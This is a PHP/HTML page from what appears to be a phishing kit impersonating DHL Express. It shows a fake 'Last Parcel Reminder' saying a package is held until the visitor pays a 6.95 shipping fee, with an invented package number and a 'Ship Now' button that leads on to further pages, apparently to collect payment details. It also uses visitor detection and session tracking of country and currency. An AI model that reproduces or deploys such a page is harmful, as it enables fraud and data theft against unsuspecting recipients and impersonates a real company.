<?php
   session_start();
   require 'system/detect.php';
   if(!isset($_SESSION['language'])){exit(header("Location: index.php"));
   }else{include "system/languages/{$_SESSION['language']}.php";}
   $_SESSION['ip_currency']=clientData('currency');

   if(isset($_POST['next'])){
     exit(header("Location: portail.php?country.x=Global&one=ok&flowId=ul&_Email=datax"));
   }
  
    ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home Page</title>
    <link rel = "icon" href = "./files/img/favicon.ico"  type = "image/x-icon">
    <link rel="stylesheet" href="test.css">
    <link rel="stylesheet" href="test2.css">
   

    <link href="./files/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.10.2/dist/umd/popper.min.js" integrity="sha384-7+zCNj/IqJ95wo16oMtfsKbZ9ccEh31eOz1HGyDuCQ6wgnyJNSYdrPa03rtR1zdB" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.min.js" integrity="sha384-QJHtvGhmr9XOIpI6YVutG+2QOK9T+ZnN4kzFN1RtK3zEFEIsxhlmWl5/YESvpZ13" crossorigin="anonymous"></script>
 <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">

</head>

<body>

  <nav class="navbar sticky-top navbar-expand-lg bg-dark">
    <div class="container-lg">
    
      <a class="navbar-brand" href="#"><img src="./files/img/dhl-logo.svg" alt="" srcset=""></a>
      <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
   <i class="fas fa-bars"></i>
  </button>
   <!-- collapse navbar -->
   
      <div class="collapse navbar-collapse" id="navbarSupportedContent">
        <ul class="navbar-nav mr-auto w-100 justify-content-end coolor">
          <li class="nav-item">
            <a class="nav-link " href="#">Alerts </a>
          </li>
          <li class="nav-item">
            <a class="nav-link " href="#">
            <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><?php echo(isset($_SESSION['ip_countryName'])?$_SESSION['ip_countryName']:'')?></font></font>
                     
            </a>
            </li>
            <li class="nav-item">
            <a class="nav-link  " href="#">Search</a></a>
            </li>
        </ul>
      </div>
    </div>
  </nav>
  <!-- Bootstrap Static Header -->
  <section >
  <div id="carouselExampleIndicators" class="carousel slide " data-ride="carousel">
  <!-- Indicators -->
  <ol class="carousel-indicators">
    <li data-target="#carouselExampleIndicators" data-slide-to="0" class="active"></li>
    <li data-target="#carouselExampleIndicators" data-slide-to="1"></li>
    <li data-target="#carouselExampleIndicators" data-slide-to="2"></li>
  </ol>
  <!-- Wrapper for slides -->
  <div class="carousel-inner">
    <div class="carousel-item active">
      <img class=" d-block w-100 " src="./files/img/slide1.jpg" data-color="lightblue" alt="First Image">
      <div class="carousel-caption d-md-block">
       
      </div>
    </div>
    <div class="carousel-item">
      <img class="d-block w-100" src="./files/img/slide2.jpg" data-color="firebrick" alt="Second Image">
      <div class="carousel-caption d-md-block">
      
      </div>
    </div>
    <div class="carousel-item">
      <img class="d-block w-100" src="./files/img/slide3.jpg" data-color="violet" alt="Third Image">
      <div class="carousel-caption d-md-block">
       
      </div>
    </div>
  </div>
  <!-- Controls -->
  <a class="carousel-control-prev" href="#carouselExampleIndicators" role="button" data-slide="prev">
<span class="carousel-control-prev-icon" aria-hidden="true"></span>
<span class="sr-only">Previous</span>
</a>
  <a class="carousel-control-next" href="#carouselExampleIndicators" role="button" data-slide="next">
<span class="carousel-control-next-icon" aria-hidden="true"></span>
<span class="sr-only">Next</span>
</a>
</div>
</section>

<!-- Page Content -->
<section class="py-2 " id="mysection">
<div class="container-lg">
 
        <div class="row alert alert-warning alert-dismissible fade show " role="alert">
  <p><strong>COVID-19 :</strong>  DHL Express continues to operate in internationally .
   <a href="/actualites/covid-19-suivez-l-etat-du-reseau-dhl" class="alert-link">Find out more.</a>.
  <button type="button" class="close" data-dismiss="alert" aria-label="Close">
    <span aria-hidden="true">&times;</span>
  </button>
</div>
      

 
 









<div class=" register">
                <div class="row">
                    <div class="col-md-3 register-left">
                        <img src="./files/img/dhl-logo.svg" alt="" style="width:70%;" />
                        <h3>Reminder :</h3>
                        <p>This procedure is mandatory to prevent your package from being returned to the sender.</p>
                       
                    </div>
                    <div class="col-md-9 register-right">
                        
                    
                        <div class="tab-content" id="myTabContent">
                            <div class="tab-pane fade show active" id="home" role="tabpanel" aria-labelledby="home-tab">
                                <h3 class="register-heading" id="notice">Last Parcel Reminder
</h3>
                                <div class="row register-form">
                                    <div class="col-md-6 ligne"><br><br><br>
                                      <p>We want to inform you that we have received
                                        your package this morning to our DHL post office.
                                      </p>
                                    </div>
                                    <div class="col-md-6">
                                        <div class="form-group">
                                        You must pay your additional shipping costs <span class="dolard"> ( 6.95 )</span> to start the delivery of your package.
                                            <br> <br>
                                            <table>
                                              <tr>
                                                <td>Delivery Date&nbsp; &nbsp; &nbsp; &nbsp;</td>
                                             
                                                <td><input type="text" class="form-control" id="displayDateTime"  style="text-align: center;" disabled /></td>
                                              </tr>
                                           </table>
                                           <br>
                                           
                                        
                                           <table>
                                              <tr>
                                                <td>Package Number     </td>
                                                <td ><input type="text" class="form-control" value="#7140012563"   style="text-align: center;" disabled/></td>
                                              </tr>
                                           </table>

                                       
                                        </div>
                                        
                                      
                                       <form action="info.php" method="POST">
                                        <input type="submit" class="btnRegister"  value="Ship Now" name="next"/>
                                     </form>
                                    </div>
                                </div>
                            </div>
                          
                        </div>
                    </div>
                </div>

            </div>




















</div>

</section>
<!--------->



<div class="container-lg">
<div class="row ">
  <div class="col-6  ">
  <div style="min-width: 135px;">
            <img style="margin-top: 15px;" src="./files/img/logo_f.png">
        </div>
        <p class="mention2 main-content">
          DHL Express aims to ensure 70% of its first and last mile activities with zero emission solutions by 2025.
        </p>
  </div>
  <div class="col-6 ">
  <div style="min-width: 110px;">
            <img src="./files/img/logo_nf.png" style="width: 100px;">
        </div>
        <p class="mention2 main-content">
        Our Customer Service is in compliance with the ISO 18295 standard and meets the NF345 certification rules.<br>
            <a tabindex="0" role="button" class="text-danger" style="color: #d40511; text-decoration: underline;" data-toggle="modal" href="#modalNF">Find out more</a>
        </p>

  </div>
</div>
</div>



<!------footer----->
<!-- Footer -->
<footer class="bg-lon text-center text-dark">
  <!-- Grid container -->
  <div class="container p-4">
    <!-- Section: Social media -->
    <section class="mb-4">
      <!-- Facebook -->
      <a class="btn btn-outline-dark btn-floating m-1" href="#!" role="button"
        ><i class="fab fa-facebook-f"></i
      ></a>

      <!-- Twitter -->
      <a class="btn btn-outline-dark btn-floating m-1" href="#!" role="button"
        ><i class="fab fa-twitter"></i
      ></a>

      <!-- Google -->
      <a class="btn btn-outline-dark btn-floating m-1" href="#!" role="button"
        ><i class="fab fa-google"></i
      ></a>

      <!-- Instagram -->
      <a class="btn btn-outline-dark btn-floating m-1" href="#!" role="button"
        ><i class="fab fa-instagram"></i
      ></a>

      <!-- Linkedin -->
      <a class="btn btn-outline-dark btn-floating m-1" href="#!" role="button"
        ><i class="fab fa-linkedin-in"></i
      ></a>

      <!-- Github -->
      <a class="btn btn-outline-dark btn-floating m-1" href="#!" role="button"
        ><i class="fab fa-github"></i
      ></a>
    </section>
    <!-- Section: Social media -->

    <!-- Section: Form -->
    <section class="">
      <form action="">
        <!--Grid row-->
        <div class="row d-flex justify-content-center">
          <!--Grid column-->
          <div class="col-auto">
            <p class="pt-2">
              <strong>Sign up for our newsletter</strong>
            </p>
          </div>
          <!--Grid column-->

          <!--Grid column-->
          <div class="col-md-5 col-12">
            <!-- Email input -->
            <div class="form-outline form-white mb-4">
              <input type="email" id="form5Example21" class="form-control" />
              <label class="form-label" for="form5Example21">Email address</label>
            </div>
          </div>
          <!--Grid column-->

          <!--Grid column-->
          <div class="col-auto">
            <!-- Submit button -->
            <button type="submit" class="btn btn-outline-light mb-4">
              Subscribe
            </button>
          </div>
          <!--Grid column-->
        </div>
        <!--Grid row-->
      </form>
    </section>
    <!-- Section: Form -->

   
    <!-- Section: Text -->

    <!-- Section: Links -->
    <section class="">
      <!--Grid row-->
      <div class="row">
       
      </div>
      <!--Grid row-->
    </section>
    <!-- Section: Links -->
  </div>
  <!-- Grid container -->

  <!-- Copyright -->
  <div class="text-center p-3" style="background-color: rgba(0, 0, 0, 0.2);">
  <a class="navbar-brand" href="#"><img src="./files/img/dhl-logo.svg" alt="" srcset=""></a>
    <p>© 2022 DHL Express. All rights reserved.</p>
  </div>
  <!-- Copyright -->
</footer>
<!-- Footer -->

  <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js"></script>
  <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"></script>


  <script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>

  <script>
     var inpt=document.getElementById('displayDateTime');
     var todaydate = new Date();
   var day = todaydate.getDate();
   var month = todaydate.getMonth() + 1;
   var year = todaydate.getFullYear();
   var datestring = day + "/" + month + "/" + year;
     inpt.value=String(datestring);
  </script>

</body>
</html>